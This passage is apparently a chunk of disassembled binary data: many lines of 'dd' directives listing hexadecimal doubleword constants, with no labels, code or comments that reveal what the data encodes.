		dd 0B86621FCh, 2EB2B190h, 20CC3825h, 3F25384Ah,	11A4D8A6h
		dd 50F33CCDh, 0D60264E8h, 6818D2B1h, 0B3E468E5h, 17DE79EDh
		dd 40AA58FAh, 0D3037F88h, 4B04EEC4h, 0F98BF2Fh,	44421097h
		dd 7570605Bh, 0F4F112ECh, 0C104002Fh, 3968B6AFh, 0FC705F12h
		dd 746F40Bh, 7CD69FC8h,	0C2C719D8h, 608A49CEh, 94A8B3B0h
		dd 0A0603971h, 0FE4C6338h, 0CB98024Dh, 10525C2Fh, 0CA9B3840h
		dd 914608A4h, 4AF65301h, 24D39870h, 0B100DA0Ch,	96291DC1h
		dd 29DF1438h, 0C144A35Dh, 6725FAEFh, 0AC84DD4h,	84DBA142h
		dd 582E1B02h, 9BB9E03Eh, 7B350C41h, 7938F85Ch, 0AC10484h
		dd 886B0846h, 6D0714FCh, 618C6F93h, 0F00D01Ah, 0EE3A57A2h
		dd 80C891FBh, 397307E3h, 3F14332Bh, 0DDCCB1D1h,	0B0B0544Ah
		dd 90C46578h, 0E04BAA4h, 63FF36BEh, 5E6F47C5h, 4D0CC0B0h
		dd 4A98FB03h, 0DC1F3802h, 91F3A4ABh, 0EB18A608h, 5A5CE403h
		dd 81DEECACh, 0DAD4F167h, 95BC019Dh, 68ED4357h,	0BDD024FDh
		dd 185AF52Ch, 6CD37F80h, 90FB10CAh, 755090FCh, 4CE34C25h
		dd 2889E8A0h, 1D2601B0h, 0EE89B05Dh, 7210A353h,	0F33100BAh
		dd 90821B4Ch, 0F800636Ch, 801D425Ch, 38BDA57h, 0AC1043A7h
		dd 0ABC086F0h, 6A0693DDh, 0CFCD27C9h, 0D18A3E60h, 1DF91579h
		dd 2F00B807h, 0F272363h, 0B4901173h, 7E08B0A5h,	0E9EB051Eh
		dd 205016FDh, 2137B8D4h, 44E5DC24h, 0A7A7A289h,	74C538E0h
		dd 1040B895h, 0AC16D54Dh, 0F99E00DEh, 3E8E617Fh, 65031BA8h
		dd 0B2AEDA82h, 541800D2h, 6C021AE2h, 8D05C44Ch,	4937CA2Ah
		dd 0BD186C90h, 0E9E80C26h, 9F916A55h, 0DC283C00h, 0CD3B82CBh
		dd 1C73FE6Dh, 0C070E51Ah, 8ECBF30h, 20528D14h, 952884C0h
		dd 0DC0B8010h, 0A800481Dh, 2101091Ah, 7F0077E2h, 45405910h
		dd 5051CB5Ah, 2804F8D6h, 1418DD52h, 301115E9h, 98F8A1h
		dd 49BE8BE6h, 300C0AEh,	5B2D8591h, 1600279Eh, 0CB13F373h
		dd 144EE68Ah, 0D08D047Ah, 0CCFE0175h, 5EE1351Dh, 50A020F8h
		dd 695CE279h, 2A363EA0h, 0E9200C4Eh, 54A35C63h,	0C1157384h
		dd 2D02784h, 5F89DDB2h,	0F2101403h, 292148F0h, 85C37F0Bh
		dd 0C9B480B5h, 9002AD6Ch, 0A88A017Ch, 0AE941A6h, 80D045D6h
		dd 0D010B632h, 687BD098h, 4C46F10Ah, 0F98AD86Dh, 0F0000899h
		dd 0AFDD4F0Ah, 5ACB975h, 0C097EA8Eh, 0D94116D2h, 8800F64Ah
		dd 0A8B86452h, 59CB1026h, 68370073h, 0B5B3A450h, 13123EB9h
		dd 3ECA5404h, 394C8030h, 24F05774h, 38705160h, 0CED19AE1h
		dd 59C60EA8h, 47281872h, 0D8268015h, 0C93AE768h, 16AA00B0h
		dd 0C351411h, 424E1944h, 81A6081Ch, 0E30B6A0h, 6EE09F11h
		dd 57320098h, 5B83991Ah, 21189EC0h, 0D6851BCh, 83CB8166h
		dd 1AB13759h, 908840FDh, 0D56403Ah, 6409DD0Fh, 0D1E3A1EFh
		dd 602490DFh, 8F25CA2h,	0B482CE15h, 67775200h, 739A1480h
		dd 600295EAh, 7B51F999h, 1755603Fh, 0D4BB1DDFh,	0EBFE80D0h
		dd 6D4ABDE0h, 0F5777903h, 0DFA1167Fh, 0E90E3C90h, 0D1C300ABh
		dd 8F45EF40h, 871D4353h, 0BC0E725h, 0EA0C0368h,	0F74C7h
		dd 15D1E8BBh, 0F2A5D88Dh, 0A14A4202h, 8044C2E5h, 9E044B84h
		dd 37601DBCh, 0EE410023h, 7A95E1A3h, 0CBF4C200h, 9EF6D57Fh
		dd 0FEB8031Eh, 0AE40EB3Fh, 21BD0830h, 39EC383h,	60D8DB4Dh
		dd 0CC8318B8h, 0F4AFB5E0h, 0BB002479h, 0D7ABF52Ch, 4AA3FFh
		dd 34D9B9EBh, 98D1ECB1h, 375CF603h, 23443D3Ch, 0BC01BB81h
		dd 0AEB8F89Eh, 0F471C918h, 0A29CB70Eh, 0FEE102C1h, 0AFB94027h
		dd 60A6392Dh, 28261C06h, 670028FAh, 0DF4C9936h,	31AF02BAh
		dd 5C18A351h, 4C0D00Dh,	4311A560h, 7473D03Ah, 507F0723h
		dd 46078010h, 0EA00219Dh, 580ACFB1h, 3E2A89Ah, 0DD62D421h
		dd 5803FB72h, 31F78668h, 7A801D9Dh, 5B3079B2h, 0C1BE3C71h
		dd 5D0361E2h, 0E5D92322h, 1F43A320h, 0C7D19F21h, 70690C9Ch
		dd 55DAC562h, 8E51B203h, 75C2B7Bh, 1FF61228h, 0AF034067h
		dd 0A12896FBh, 851638A0h, 2C1EF197h, 2999E700h,	97CB3h
		dd 0B470A3E5h, 4FFFA5BFh, 0DC269C73h, 28008D92h, 0AB3145D4h
		dd 0AD2900EDh, 0BD078BCBh, 6CF63EEBh, 8083083Eh, 8656B40Fh
		dd 0BF4681h, 4ACDA805h,	7B7660A4h, 0D700E6F6h, 0E31DC335h
		dd 0E9B780Dh, 0AD7ACEF5h, 4C5D1B80h, 31002AEEh,	4E523DD3h
		dd 0B2FFF9h, 5F72F24h, 2D218162h, 3500A879h, 0B074035Fh
		dd 0F468CDh, 0D9ED2BFFh, 49279B4Dh, 25400B00h, 0DF0221E1h
		dd 17E97554h, 0BFE86F58h, 28B0C11Dh, 0CCBE74h, 337D0EEEh
		dd 9AE35F95h, 7B18DEh, 19F37F20h, 128036EDh, 1F32FB75h
		dd 0E93C4C1Fh, 9900E198h, 42844B07h, 36C69h, 0B46AFA60h
		dd 8399F77h, 4C8E7C00h,	2B9E35F9h, 6BD07DCh, 90043DE1h
		dd 0C77C5A59h
		dd 270E9F79h, 18EAABBCh, 783FE259h, 49F206FDh, 18F95E59h
		dd 55BD38h, 8A40171h, 78F3BFEh,	6DBBEB7Ch, 324AB1B9h, 0D0FA213Ch
		dd 5F00A983h, 0C9092BCCh, 86F1C8h, 0A4F8AF54h, 0A33C503Fh
		dd 833AA901h, 23DE3560h, 84DC2890h, 0A15DAA90h,	0BFE7E508h
		dd 0F4108AA2h, 0BB11C03Fh, 0D321089Fh, 7841120h, 5663290Bh
		dd 68D1C6D0h, 0F3BE8ADh, 4398ECD9h, 0A4090462h,	0AE1045E0h
		dd 0FF003CFCh, 4C8BB217h, 8CBF0Eh, 9DD00715h, 0A052E26Ah
		dd 0B6AC7300h, 0BB677864h, 34A600AAh, 30DE4D14h, 940756A9h
		dd 0FB1AB73Ah, 80AC4500h, 0C390480Ah, 0BB37FD00h, 0E00E84AEh
		dd 0E6E79918h, 0F32188Ah, 9057AC93h, 0C0B03964h, 0F59446EFh
		dd 0B7827000h, 37E52BDh, 4E970E19h, 0DB67CDFFh,	83F25037h
		dd 0DE14DFC9h, 7C4026Ah, 0CA80B888h, 209F2640h,	9569C0C7h
		dd 3D1C40F7h, 0D797E100h, 0E5FA6F49h, 8C89003Fh, 0CD01C011h
		dd 2D3FE2BCh, 581431FDh, 0F2D218h, 0BB351786h, 5EBD20F9h
		dd 3D019B76h, 52645529h, 0D270F1D1h, 659E007Fh,	49B994C8h
		dd 4600243Ch, 4FBFDC4Eh, 0D8CD5Bh, 43B33BF5h, 93C7A820h
		dd 38F6050Ch, 1A2105Ah,	1A168871h, 0EC73ACF2h, 98FC8D2Eh
		dd 10572D00h, 79B85E7h,	3D1F00A2h, 9D43C20Eh, 9CA0D8CBh
		dd 3003624h, 85285DC9h,	39CD023Bh, 290069E1h, 22A6090Ah
		dd 777E4CF3h, 3538901h,	0FAC2D5B4h, 4C670A30h, 65009BEDh
		dd 39DDFC88h, 5D000894h, 3AA8F4DEh, 0A1CA59h, 0B168EA7Ch
		dd 0EB01128Bh, 80483801h, 0D53996E0h, 6182F8h, 0C963EDDDh
		dd 0A2547C2h, 9F6D5500h, 4B30AD35h, 3F4E001Dh, 0C0B6C786h
		dd 4700EC7Ch, 0EF7A5D1h, 0E2AD7Bh, 0A6E46E03h, 0E186F5F1h
		dd 4E91B100h, 0CB2F208Bh, 98840017h, 3CE645C5h,	0C5FF55C9h
		dd 0A2BA80CEh, 25164E01h, 0FF510018h, 4637BA35h, 0DA007FD0h
		dd 925CDF40h, 0FB320Eh,	66FF78DEh, 676EB0C7h, 0A6713100h
		dd 0A2B27CA9h, 22CA0024h, 76E12F98h, 0D6009F9Ch, 0BF4AAB5Ch
		dd 7CC4F71Dh, 24FB0078h, 9EC73AC9h, 5907506Dh, 0FA8CC1B3h
		dd 9811850h, 9C9600A1h,	0B69F970Fh, 13E67BDCh, 0D3003DFCh
		dd 0F671059Ah, 1B2FDFh,	75AC7208h, 7388D7B9h, 77FA5B0Eh
		dd 0FB64E01Ch, 167E953h, 0AA055428h, 0D85E63F8h, 0A10E7073h
		dd 119EEFDh, 436C47EDh,	1C508360h, 0F576E3h, 0FBE9D84Ch
		dd 0D73A46A4h, 66B00087h, 9EB8FAC6h, 196B00DEh,	2372587Ah
		dd 9D031679h, 2E650D8Ch, 77668083h, 6F737Ch, 7AED5708h
		dd 3E10AB11h, 4DC1A00h,	6278D493h, 0E0EF389Fh, 0E8D304F3h
		dd 83C2DE4Fh, 80BC424Dh, 1B6B6EF0h, 242873F2h, 5C009466h
		dd 761ED6FAh, 0E4D5CEh,	405FF183h, 0E8B97ED0h, 0B1C22B00h
		dd 0BAFE0E46h, 11B81E4Fh, 45C7C037h, 3F6EA210h,	0D6187330h
		dd 1C503E16h, 1891ABAh,	0E64BAFBBh, 79607065h, 83317D3Fh
		dd 3BA228D6h, 553991F2h, 7701560h, 0EC5417EBh, 48A1009Dh
		dd 0B900406Eh, 0FA19A483h, 2E6C57h, 39A7F60h, 9741E32Dh
		dd 0AB84AC00h, 0E43ABAA0h, 0A1150061h, 9224062Ah, 0DD0FA5EDh
		dd 8E015060h, 0C0D7AE0Eh, 0F738DC98h, 80E20062h, 0D4D9E07Ah
		dd 99EEA7B5h, 17035B1Eh, 0FB60A4D8h, 0D1EA00A0h, 7C3946FEh
		dd 1400E770h, 0E56E80C6h, 943360h, 99CBCEF9h, 314EE31Eh
		dd 8F143600h, 793239F3h, 33BA0052h, 53C07B80h, 5A00FBD3h
		dd 0F931FFBEh, 0FD8518h, 0E0F2417h, 48C78FAAh, 0BABEC600h
		dd 47CD91A6h, 0AE4A0022h, 25E104F6h, 30030F10h,	3E94EA67h
		dd 0C6208013h, 9126007Fh, 36D6442h, 33070CF5h, 90806EC5h
		dd 0CA92A07Fh, 18016Ch,	61876BD0h, 0C045E622h, 0E3476400h
		dd 586E43B6h, 0A3F6DFh,	0AB9AAC12h, 0E4D0ED46h,	33D37600h
		dd 992C329Fh, 1E0F3F23h, 0B76602F7h, 0E9BBE389h, 0B0F6C055h
		dd 807400E4h, 618423B5h, 5D03A10Ah, 6CE10D1Dh, 90753Bh
		dd 6F3AD45Fh, 4BE7D64Dh, 70EE3C1Eh, 0B435C287h,	9ECDF430h
		dd 223E0083h, 1FE46090h, 0EC00E7ABh, 0F256B517h, 28B0752h
		dd 216EB865h, 1243923Fh, 4DEA20A7h, 421DD880h, 178F016h
		dd 86721552h, 2FD8CD7Ch, 1CFA1396h, 1D0014CFh, 0E31ACB00h
		dd 0FF820146h, 0DFCD1800h, 22958E90h, 91A403DBh, 98055B6Bh
		dd 0D0A0EEC1h, 4100DFB3h, 37147B9Eh, 0A7B8BDh, 4FA5C1EFh
		dd 7446447Fh, 94D36200h, 9E4EBE75h, 0A42F830h, 0C941CA1Eh
		dd 9513B8h, 78441B08h, 0C004084h, 8BF17007h, 7256A68Ch
		dd 0A9705Eh, 84D1E690h,	823E4FC9h, 4E1E5000h, 8A700F2Ah
		dd 94F40027h, 0F55CFFA2h, 93016EE2h, 15C5A537h,	5E206A63h
		dd 0E3310F4Dh, 70C0218Ah, 0A5BB5E66h, 0CC429507h, 1410898Ch
		dd 0FE3FC29Ah, 0E8003D3h, 1820575h, 2F1B6DC0h, 0A4EB0909h
		dd 0E9EC0035h, 42B5C8Bh, 3BC2CABFh, 0F09C80DEh,	5703D827h
		dd 0FA506F6Dh, 28E100D4h, 5C4749B4h, 83005ECBh,	0DC8CD77h
		dd 330AE0Eh, 319545E9h,	9BE17B0Ch, 0A4813014h, 0F86549h
		dd 94AE9D5Bh, 9EB7E67h,	0E7D1B76Dh, 0F37278A1h,	40624Ah
		dd 88A43864h, 9A3048h, 0B81DC66Ah, 2144D787h, 726C8100h
		dd 0CA835794h, 0EF18038Ah, 320274AFh, 0E8555EE9h, 0D400B8F2h
		dd 387E631Ch, 1EE0CB6Fh, 2A2431h, 47C66BA9h, 0D800969Bh
		dd 0B354C552h, 480C1767h, 0C8417119h, 8CBC40C6h, 6A040179h
		dd 0A20A34CFh, 8A07C8C8h, 0A0EF4F04h, 0DFC356A4h, 997191D3h
		dd 2702C60h, 8CF0E218h,	0B7E05720h, 40043D5h, 63BFB64Fh
		dd 33CBDD3h, 667276F8h,	0F6B71AA8h, 470010E9h, 22D8318Bh
		dd 9416FBh, 0F875C82Fh,	6A11F748h, 0BEDEDC07h, 2130EA2Eh
		dd 5A0F8Eh, 233B795Ch, 703CD3CFh, 0ACA2D4A0h, 0E18B3F03h
		dd 78E814Ah, 0D37C0A98h, 10C0DE4Fh, 472770Ch, 560094F4h
		dd 9F3A7A95h, 1812D60Eh, 205C1880h, 0FF457B9h, 380C5D78h
		dd 60C7F360h, 8081290Ch, 84803B8Ch, 32AC41E1h, 0D2005CCDh
		dd 22B6684Bh, 0E21D3C8Fh, 34D00042h, 0B7743FA1h, 4103D19Dh
		dd 0BD53AD27h, 4047A29Bh, 26827C4Ch, 0FD6468h, 745DB80h
		dd 0EB00A566h, 0B1217025h, 0F28C3ED4h, 60F808h,	8810792Bh
		dd 0E35E2593h, 0BD445D3Ah, 1F504CAEh, 5FC06B1Ch, 56248F18h
		dd 7B8B184h, 0B040FDECh, 0FC0310D9h, 0C1623C00h, 1A4D0D34h
		dd 0A3B1018Ah, 0AD42991Ch, 0A83FC0D0h, 2DA9961Fh, 8F005026h
		dd 0F67B2E1Bh, 10FB0517h, 80C3227Eh, 63063AC8h,	4C12D700h
		dd 0D2653266h, 901D241Eh, 70004FCCh, 63E3A0DAh,	8020663Bh
		dd 62652FA5h, 1EBF4DBh,	0DE49DD58h, 304BB94Dh, 4500E5A3h
		dd 3486B459h, 91EB11Ch,	8C20445Eh, 0A0CCE007h, 0E37FA79Dh
		dd 0FCCADE00h, 2647055Fh, 74874C42h, 1E4F6804h,	2C64989Dh
		dd 0D1008E7Bh, 66511538h, 4421C3h, 0FE466E62h, 0C1471B5Dh
		dd 3D753E00h, 264D681Dh, 25C303D3h, 0BCCE4B63h,	91367F0h
		dd 725BCA0Eh, 0F51E6077h, 9282D253h, 0A8EE0008h, 0E721B4B8h
		dd 850E3346h, 0E76CFC10h, 0FE00E227h, 1F169E4Dh, 8014BBCDh
		dd 1A24F987h, 0C22420CFh, 4C0134DBh, 2C870CCh, 1FB87820h
		dd 82849D2Dh, 31C049EFh, 671DECE0h, 0D4FF0C00h,	0E0D828E8h
		dd 236800C7h, 3FF89A49h, 0CA2C9196h, 5C00927Ch,	4414A417h
		dd 0E9750F89h, 4382DE2Eh, 0A0C0BBEAh, 1EF6AD6Eh, 0B5D1241Dh
		dd 0A1B799C0h, 4C956AFh, 61D3603Eh, 0E1808277h,	1EA6A88Eh
		dd 0AF00894Bh
		dd 1351910Fh, 7AC327DBh, 0D94C1D3Eh, 691A8140h,	2082FE66h
		dd 71009888h, 2BFFE723h, 53AE17h, 48BF1F8Dh, 0E1A1DF4Fh
		dd 6CDE800h, 0CA0D6D9Ah, 95E70988h, 1C807891h, 2290DC04h
		dd 0F9840903h, 0B83B5413h, 0F2ECAE08h, 62F00FEh, 0C9CACB8h
		dd 0C23F8A99h, 0F1D180CBh, 1C6CA475h, 97480E33h, 5E208EF5h
		dd 3809C5B4h, 0B90ECC7Bh, 6BEE855Dh, 37100005h,	7FBA2C7h
		dd 0BE49704Dh, 30680948h, 0B700D13Ch, 6C459AF8h, 28A64DCEh
		dd 3CDC8C88h, 13BFAF74h, 1FBAE084h, 0B9B0885Fh,	47A448h
		dd 0BB259F61h, 0C0387C57h, 0CD2A67E4h, 5107DA3Bh, 2E413CF2h
		dd 2309BED0h, 0B7CB2C05h, 0A6803814h, 0B6C48617h, 0F70087CEh
		dd 0BE8DFF6Ch, 5CDB9378h, 9B811C89h, 20C5A1DAh,	4D1F7FCCh
		dd 0A3C056C2h, 0F046B1FDh, 0C0B20053h, 0F22A6257h, 9E07F340h
		dd 0B9C93163h, 649ADE80h, 0FACA031Bh, 76E12BEFh, 7ED698C0h
		dd 961CAC01h, 0E8F5078Bh, 25004C2Ch, 0D94DADCEh, 0BA184A5Bh
		dd 2B185360h, 0EE2F00C8h, 28D9D75h, 0F61C3049h,	8646D2EFh
		dd 290E93h, 0DC5A1F85h,	1936ED44h, 4B264506h, 4DC0EA16h
		dd 0F708FC6Bh, 6D001D46h, 11B48362h, 0AA071D26h, 0AF0BC013h
		dd 4EF73439h, 8ED13600h, 0B716448Ch, 0A3130004h, 42C5930Ch
		dd 600010C8h, 0BBAD3827h, 0A1B854B9h, 0B1408195h, 0D08C01h
		dd 3C112D70h, 0D7332148h, 6E823400h, 60DBE61Fh,	0B9CC1283h
		dd 0E08404FCh, 5300A037h, 3992E812h, 3BD17854h,	9DBE872Ah
		dd 6CC14409h, 0FC748332h, 57ED00F7h, 5954E974h,	0BC071911h
		dd 7712C0EAh, 216F6780h, 0E4DF0FABh, 44A4F679h,	11B493C3h
		dd 0E5593CB9h, 1B002B01h, 0BF62B926h, 0D84E5827h, 0B5B38BA0h
		dd 536B070Fh, 11414076h, 0FFD339C1h, 22A1DF0h, 8588D1ECh
		dd 43E0338Eh, 0A600B492h, 70899429h, 7227428h, 8DAE23A2h
		dd 442507Bh, 4500A7F4h,	5283205Ch, 1337BAh, 2229BCFBh
		dd 0EDF60E12h, 2BFDE200h, 0D05DE616h, 1CA6005Eh, 3756B518h
		dd 0EA3CB20Ch, 0A55813Eh, 279C598Bh, 342023FDh,	378A00F5h
		dd 6E97D92Ah, 757E5550h, 0C4D30500h, 70AD1EF6h,	0FA10054h
		dd 0F53CC13Ah, 510EB592h, 0A1D6665Ch, 86DF91D5h, 58822C61h
		dd 2C34B3C5h, 64E5BBE1h, 9600F0E0h, 833AC209h, 7B0E1D29h
		dd 13FDF261h, 0B976F17h, 350096C0h, 0ACB22BCh, 7CACCF59h
		dd 0DA037E18h, 0E6C6449h, 6D344542h, 0C1803E89h, 0CF5361B5h
		dd 0D5C7D0Eh, 7479A02Bh, 3F6B6Dh, 3D16BF20h, 0ABBA98DCh
		dd 6993A000h, 8262557Eh, 0DB0D0AF8h, 1F54EE6Bh,	8A40035h
		dd 0AB10C3F0h, 29040D00h, 0D7F29D0Eh, 7C5500DCh, 304ECAC5h
		dd 0D4E5A114h, 3A02B4ADh, 0CBA2943h, 0E85C85C4h, 900B11C2h
		dd 2C205E30h, 3A581380h, 0B8B73601h, 0E8D3A22Bh, 6F001872h
		dd 0B6315E03h, 15C26E8h, 0F0150943h, 7077EF29h,	1000F6E0h
		dd 0F28C0EE6h, 7E182C87h, 0B22F002Eh, 51A4117Ah, 4F3BAD96h
		dd 0ACD58388h, 0E913CB9Fh, 5CE46ED9h, 5B1400E7h, 0F7F5366Ah
		dd 0BA07F11Eh, 2FF503Ch, 0EF778Fh, 58CFE2A1h, 0B2006760h
		dd 645C98FDh, 29325Bh, 5F72F21Fh, 9A6BE297h, 9E760500h
		dd 0FEADFF0Eh, 4E070020h, 0F7986637h, 3F00FAECh, 0DEEB059Dh
		dd 762706h, 0B4E689B9h,	682B8247h, 0D900587Bh, 70FBBB1Bh
		dd 77D63AF8h, 8C710759h, 0F0B32AEDh, 5258C279h,	8640DE1Eh
		dd 3FB7C807h, 22764C00h, 58416025h, 0CC26F3F6h,	0ABBC0200h
		dd 0C2522477h, 922F1217h, 32CA0068h, 572AFFD3h,	1022E918h
		dd 3B4B90h, 3FF4ACC5h, 699D087Eh, 44A1C400h, 56370473h
		dd 451A01E9h, 6EEF80D0h, 0E1FED40Ch, 446BEB00h,	0BB93B1E2h
		dd 3546039Fh, 791145CBh, 0EB98FAE0h, 71009B90h,	0EF12D352h
		dd 0CBEDBCh, 0A28F6724h, 0CF97EE48h, 0C7F9B600h, 26F6B3D9h
		dd 0C0ECB0F3h, 789FDD98h, 0CF7D9D82h, 7EB4310Dh, 28803020h
		dd 424CF3C6h, 6A045E75h, 0C22E08EEh, 0C3FA5980h, 0BC5300B7h
		dd 7220FFC8h, 83001D4Bh, 6126E9B3h, 0D693Dh, 7412A8C4h
		dd 841ADE2Dh, 39860C0Eh, 1FC2C1A1h, 6FE84628h, 4E1E1F29h
		dd 0CB66C076h, 75F5E777h, 0D74F6E06h, 39180487h, 0A7385514h
		dd 3BA21F80h, 0E4103E6Bh, 286F8531h, 0EC000593h, 0A70612F4h
		dd 0AE9EFC4h, 0BF0FF60h, 0DD826Dh, 7977FDBDh, 7CD500ACh
		dd 84A20DE2h, 0A70013D9h, 0AE55877Dh, 762769Bh,	0C8F39031h
		dd 80194F32h, 0AEBDD87Dh, 0C13C901h, 0A1B2D74Ch, 77F82440h
		dd 10A66375h, 21E04681h, 6C046EADh, 0E3AE8C2Ah,	0F5717EC1h
		dd 0BD95D60h, 1BF65E72h, 0CEC06D8Eh, 18D0D815h,	27FE3F00h
		dd 778D6D48h, 28EC2478h, 85310AC6h, 2D1600F1h, 96A44571h
		dd 0D7DC0C00h, 358DB0Fh, 9FDF00F8h, 98B4A5Ah, 9E039553h
		dd 0CBE4F20Ah, 3F66D08Eh, 0BECE00D9h, 0B485AE29h, 0F62E9D3Ch
		dd 9207A29Ah, 9D8F57CBh, 0D488A480h, 58C124h, 553938DAh
		dd 0A3500CB4h, 6DC09C00h, 1D1CA0DEh, 0E229DF86h, 66FBBC0Eh
		dd 0E176203Ch, 16ABB62h, 6E33EEC5h, 0E1BDD96Dh,	0CF69E0EDh
		dd 0D32D9A00h, 52C60D14h, 51A000F5h, 99152C6Bh,	33003FECh
		dd 4CBEC04Ah, 5B8497h, 37F949A3h, 54B2E114h, 310E500h
		dd 47B0D012h, 1CB0409h,	80FC49ABh, 0F0173B95h, 1D00F17Ah
		dd 0BEA3F333h, 0CEB165h, 187C2FFCh, 222E8460h, 806C0F3Ah
		dd 52FDF213h, 0F6718269h, 0D602039Bh, 7F83DE1Eh, 0DAEBB698h
		dd 9258DC00h, 4148F48Fh, 388D78F6h, 0F3824CB1h,	524A3570h
		dd 6FA075C0h, 0A85F2228h, 9E501500h, 0C5182E68h, 7491032Ch
		dd 0DBF9E241h, 29222780h, 57F793Dh, 0B5DB3E7h, 364063C0h
		dd 0C4F700A1h, 0DAD2343Ah, 60003763h, 0FEDB4A3Fh, 25BD8Dh
		dd 0B43A4CFFh, 0F1B140F6h, 9B103807h, 5C60D8A8h, 11E2725h
		dd 4937681Fh, 0C026EA8Ch, 0D1071DF3h, 28025767h, 7A35007Fh
		dd 46AFA8h, 9C3C5C6Dh, 10DA2930h, 0DE00B0EAh, 0CB01E9FCh
		dd 0FE2BA46Ah, 5C460E0Ah, 6C20E67Fh, 5A8E8087h,	6341F400h
		dd 6DC3B0AFh, 94032822h, 602C9080h, 40F558B3h, 0F307603Bh
		dd 0DC4B87BCh, 0B04C41D3h, 0CCA0F6h, 20C71E1Dh,	0E710BBDh
		dd 0F27F3903h, 0BF43D7C1h, 8386E4D0h, 0A8D1063Fh, 20DB52D2h
		dd 0B026BB00h, 55AC490Dh, 1A60044h, 0B765FE46h,	3D00957Fh
		dd 74CB8F77h, 5C6C521Ch, 7000D6D1h, 0C0F2B102h,	0A403D4D9h
		dd 60BE543Eh, 444090CBh, 535F3BA1h, 80418480h, 618A2A21h
		dd 3847D0C0h, 0C672A6h,	40C932D4h, 0AE8DB163h, 9F7EF107h
		dd 5B06457h, 0E70697Ah,	0EDA5581Eh, 6D978E00h, 8D004066h
		dd 96AAF3FEh, 19A21DCh,	60C230EAh, 30468B5Ch, 5800D0A6h
		dd 7FF6EFDBh, 1E06E843h, 0C0531B90h, 0FA8667ECh, 2173AC41h
		dd 0A45A8300h, 0C5C4DC76h, 0BDCA0038h, 0B0A991DAh, 59001826h
		dd 4E27AB17h, 13A8B1B8h, 9E407Ah, 0A690428Eh, 0A178A9ADh
		dd 0BDAC3F03h, 0AFCE990Eh, 39435BA1h, 3091F080h, 0F0601928h
		dd 5EDAAD03h, 0BB6704B5h, 84EC076h, 824858BEh, 217C0E07h
		dd 7A4B0B0h, 6E0E8F31h,	0A1F147AAh, 0E10A2443h,	76522BE8h
		dd 6F40032h, 1948A58h, 0DD0383BFh, 0F0E8F3CBh, 0F66BA8DAh
		dd 0C370A1h, 8D908232h,	8E29B77Eh, 0C2BCE400h, 72E284FFh
		dd 2EB40970h, 6880EF03h, 9B44250Ch, 0DB00B97Dh,	0AE23D4Bh
		dd 8BBFC6h, 5890A586h, 0EBB2B66Fh, 0D5E58801h, 94E2E15Ah
		dd 2C665420h, 24705C9Ch
		dd 45EE00ABh, 0AC828B3Ch, 0CABB4603h, 0FB763EFFh, 0E55D9851h
		dd 0FD6C008Fh, 0F4DF0225h, 5BF4BE9Ch, 8AB2DE00h, 4D89DB2Fh
		dd 3CC57573h, 80801165h, 38EB44BDh, 0FF03D17Bh,	4EF73087h
		dd 26C5F032h, 93A100EAh, 0E6B2D5D7h, 0AB0FFFFDh, 403F01BDh
		dd 7CA3C7EBh, 0E7F000AEh, 0FEAC3EFBh, 9900E539h, 0B18F2213h
		dd 674225h, 45B73D21h, 8BF59112h, 2F5BBB00h, 8CE44322h
		dd 99C200B1h, 247CD163h, 8400AE42h, 851533D0h, 8DB43Bh
		dd 7FEE7BB8h, 5D7AF68h,	56468424h, 0C6DCBE1Ch, 0E01EE141h
		dd 90D3627Ah, 1A985A3h,	20E3EF02h, 3112F281h, 4EF330A8h
		dd 0BEF19B1Ch, 0EECEC087h, 6FB55830h, 0C17E0E4Ah, 0B162102Fh
		dd 34403BCFh, 2C0377E3h, 5691636Ch, 0A16DB882h,	0F07AD9h
		dd 15735B72h, 6BB72FEAh, 0C487E20Eh, 510BA055h,	98F7E1D2h
		dd 35230385h, 0DDB8BD70h, 203F30C1h, 0E90378ACh, 0C10BA067h
		dd 0CCCE9862h, 0D0690F42h, 40FFEBC3h, 8C904156h, 7E0031F2h
		dd 0F667D58Ah, 98149820h, 3BE085h, 770761ECh, 0A653C50Ah
		dd 0F8FDCE00h, 0EE85567Fh, 0E03700BFh, 8D11B550h, 6D009F94h
		dd 3B9D427Eh, 4D9295Dh,	0E23E0982h, 0B806C024h,	5B7B9884h
		dd 4CC2B0Fh, 0BB608075h, 712CF27h, 0A122BD9Dh, 0E22D6005h
		dd 6F008CB3h, 5F592063h, 1EA24DB2h, 1FC966h, 0CFD4581Ch
		dd 8A177C6Ch, 7103EAE6h, 805E0F21h, 0D2C80A6Eh,	52F40028h
		dd 8648A58Dh, 7706DF3Bh, 7F78A200h, 0EF2EF284h,	0A3AB0077h
		dd 0EEB01DA8h, 540E73B3h, 0BF3EBBCh, 8518800Bh,	4FF27E8h
		dd 1459B170h, 807684BEh, 0F61325D9h, 0C2461C04h, 0C4C024B4h
		dd 99F1B11h, 0AC734564h, 6F81A080h, 0A8F0F26Dh,	93E43B54h
		dd 50058BB8h, 0C042D477h, 762918C0h, 0CE3B0030h, 41C8AF0Ah
		dd 63039DFDh, 0F4F5E504h, 2D389892h, 27CD00F3h,	0D45785Bh
		dd 36012391h, 1FB6B1F0h, 8BD1A728h, 0E0B52270h,	97860912h
		dd 0D0836585h, 0AFA04FCDh, 4702FB62h, 99D54ED4h, 97586096h
		dd 0A27C00CAh, 6F2D21FAh, 95004B11h, 0FF90E9E7h, 0E61D749Ah
		dd 0B4923Ah, 2CA94DFh, 0FFAE2C58h, 0A03D4400h, 0FACF7C4Fh
		dd 336E00B3h, 14BFCC38h, 9200167Eh, 0A7DE42CDh,	3F7A7FC6h
		dd 12003446h, 5A52A0E1h, 0C318F031h, 2528684Ah,	3D9C0049h
		dd 8CDBB675h, 0B17215Ah, 0D84089F8h, 0A46D44B4h, 0BCD400D8h
		dd 633229ABh, 7E15C342h, 0F48B1B0h, 40E72278h, 8726BAE2h
		dd 0FCA3710Ah, 152D00FEh, 3C0C80Ch, 0DCA8144Ch,	6F30B6D4h
		dd 77C68D6h, 71661E7Fh,	0F7D549A1h, 0A6E42040h,	0CD894B60h
		dd 3AAED9B3h, 1A07BBE0h, 0C3F661B7h, 1034CC63h,	8052898h
		dd 0F900A9F3h, 0ABF0E124h, 0D36E181Ch, 0E30420F5h, 0C1483B01h
		dd 1E08B1F9h, 392798D8h, 7402757Ch, 9384FD5Fh, 96006452h
		dd 0ED073B2Ch, 0F6FFD735h, 83E7007Bh, 0D69A716Dh, 0B1C0F9A8h
		dd 0E6E27A76h, 1BD9394Fh, 231A58E0h, 0BF00F8B8h, 39320B50h
		dd 0A9E427h, 0DAC2DFE7h, 0F4E01FAh, 0AA6CFB00h,	41B4DB3Eh
